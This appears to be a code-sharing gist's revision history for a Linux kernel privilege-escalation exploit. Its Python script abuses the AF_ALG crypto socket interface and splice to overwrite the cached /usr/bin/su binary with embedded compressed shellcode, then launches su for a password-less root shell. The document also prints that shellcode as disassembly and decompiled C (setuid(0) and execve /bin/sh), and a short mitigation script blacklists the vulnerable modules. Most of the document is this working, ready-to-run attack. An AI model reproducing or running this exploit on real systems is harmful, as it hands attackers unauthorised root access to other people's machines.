Last active 2 weeks ago

depau's Avatar depau revised this gist 2 weeks ago. Go to revision

1 file changed, 0 insertions, 0 deletions

payload.elf(file created)

Binary file changes are not shown

depau's Avatar depau revised this gist 2 weeks ago. Go to revision

2 files changed, 28 insertions

payload.S(file created)

@@ -0,0 +1,19 @@
1 + 0000000000000078 <.data+0x78>:
2 + 78: 31 c0 xor %eax,%eax
3 + 7a: 31 ff xor %edi,%edi
4 + 7c: b0 69 mov $0x69,%al
5 + 7e: 0f 05 syscall
6 + 80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi # 0x96
7 + 87: 31 f6 xor %esi,%esi
8 + 89: 6a 3b push $0x3b
9 + 8b: 58 pop %rax
10 + 8c: 99 cltd
11 + 8d: 0f 05 syscall
12 + 8f: 31 ff xor %edi,%edi
13 + 91: 6a 3c push $0x3c
14 + 93: 58 pop %rax
15 + 94: 0f 05 syscall
16 + 96: 2f (bad)
17 + 97: 62 69 6e 2f 73 (bad)
18 + 9c: 68 .byte 0x68
19 + 9d: 00 00 add %al,(%rax)

payload.c(file created)

@@ -0,0 +1,9 @@
1 + // Decompiled by Binary Ninja
2 +
3 + void _start() __noreturn
4 + {
5 + syscall(sys_setuid {0x69}, 0);
6 + syscall(sys_execve {0x3b}, "/bin/sh", nullptr, nullptr);
7 + syscall(sys_exit {0x3c}, 0);
8 + /* no return */
9 + }

depau's Avatar depau revised this gist 2 weeks ago. Go to revision

2 files changed, 94 insertions

exploit.py(file created)

@@ -0,0 +1,80 @@
1 + #!/usr/bin/env python3
2 + import os
3 + import zlib
4 + import socket
5 +
6 + # Helper to convert hex strings to byte arrays
7 + def hex_to_bytes(hex_str):
8 + return bytes.fromhex(hex_str)
9 +
10 + def trigger_kernel_corruption(target_file, offset, payload_chunk):
11 + # AF_ALG (38) is the Linux Kernel Crypto API socket domain
12 + # SOCK_SEQPACKET (5) is the socket type
13 + alg_socket = socket.socket(38, 5, 0)
14 +
15 + # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher
16 + # This specific cipher combination is often used to target memory flaws in the kernel
17 + alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
18 +
19 + # Socket option constants
20 + SOL_ALG = 279
21 + ALG_SET_KEY = 1
22 + ALG_SET_AEAD_AUTHSIZE = 5
23 +
24 + # 1. Set the crypto key (malformed to trigger heap issues)
25 + key_data = hex_to_bytes('0800010000000010' + '0' * 64)
26 + alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data)
27 +
28 + # 2. Set the authentication tag size
29 + alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
30 +
31 + # Accept the connection to the crypto transform
32 + op_socket, _ = alg_socket.accept()
33 +
34 + # Construct the malicious control message (ancillary data)
35 + # This targets the internal kernel buffers by providing inconsistent lengths
36 + null_byte = hex_to_bytes('00')
37 + msg_control = [
38 + (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV
39 + (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP
40 + (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN
41 + ]
42 +
43 + # Send the payload chunk to the kernel
44 + op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768)
45 +
46 + # Use os.splice to move data from the target binary (su) into the socket
47 + # This bypasses standard user-space memory protections
48 + pipe_read, pipe_write = os.pipe()
49 +
50 + # Splice from file to pipe
51 + os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0)
52 + # Splice from pipe to the exploit socket
53 + os.splice(pipe_read, op_socket.fileno(), offset + 4)
54 +
55 + try:
56 + # Attempt to receive the result of the "crypto" operation
57 + op_socket.recv(8 + offset)
58 + except Exception:
59 + pass
60 +
61 + # --- Main Execution ---
62 +
63 + # Open /usr/bin/su in read-only mode
64 + su_binary = os.open("/usr/bin/su", os.O_RDONLY)
65 +
66 + # Decompress the binary payload (the shellcode/memory overwrite data)
67 + compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
68 + payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload))
69 +
70 + # Loop through the payload, spraying it into the kernel memory 4 bytes at a time
71 + current_offset = 0
72 + while current_offset < len(payload_bytes):
73 + chunk = payload_bytes[current_offset : current_offset + 4]
74 + trigger_kernel_corruption(su_binary, current_offset, chunk)
75 + current_offset += 4
76 +
77 + # If the exploit succeeded, the kernel has been tricked into thinking
78 + # the current process has root privileges.
79 + # Executing 'su' now should drop into a root shell without a password.
80 + os.system("su")

mitigation.sh(file created)

@@ -0,0 +1,14 @@
1 + #!/usr/bin/env bash
2 +
3 + # Prevent vulnerable module from ever being loaded
4 + cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF
5 + blacklist af_alg
6 + blacklist algif_aead
7 + EOF
8 +
9 + # Remove the module if it's already loaded
10 + modprobe -r algif_aead
11 + modprobe -r af_alg
12 +
13 + # Drop all caches to undo the effects of previous exploit runs
14 + echo 1 > /proc/sys/vm/drop_caches
Newer Older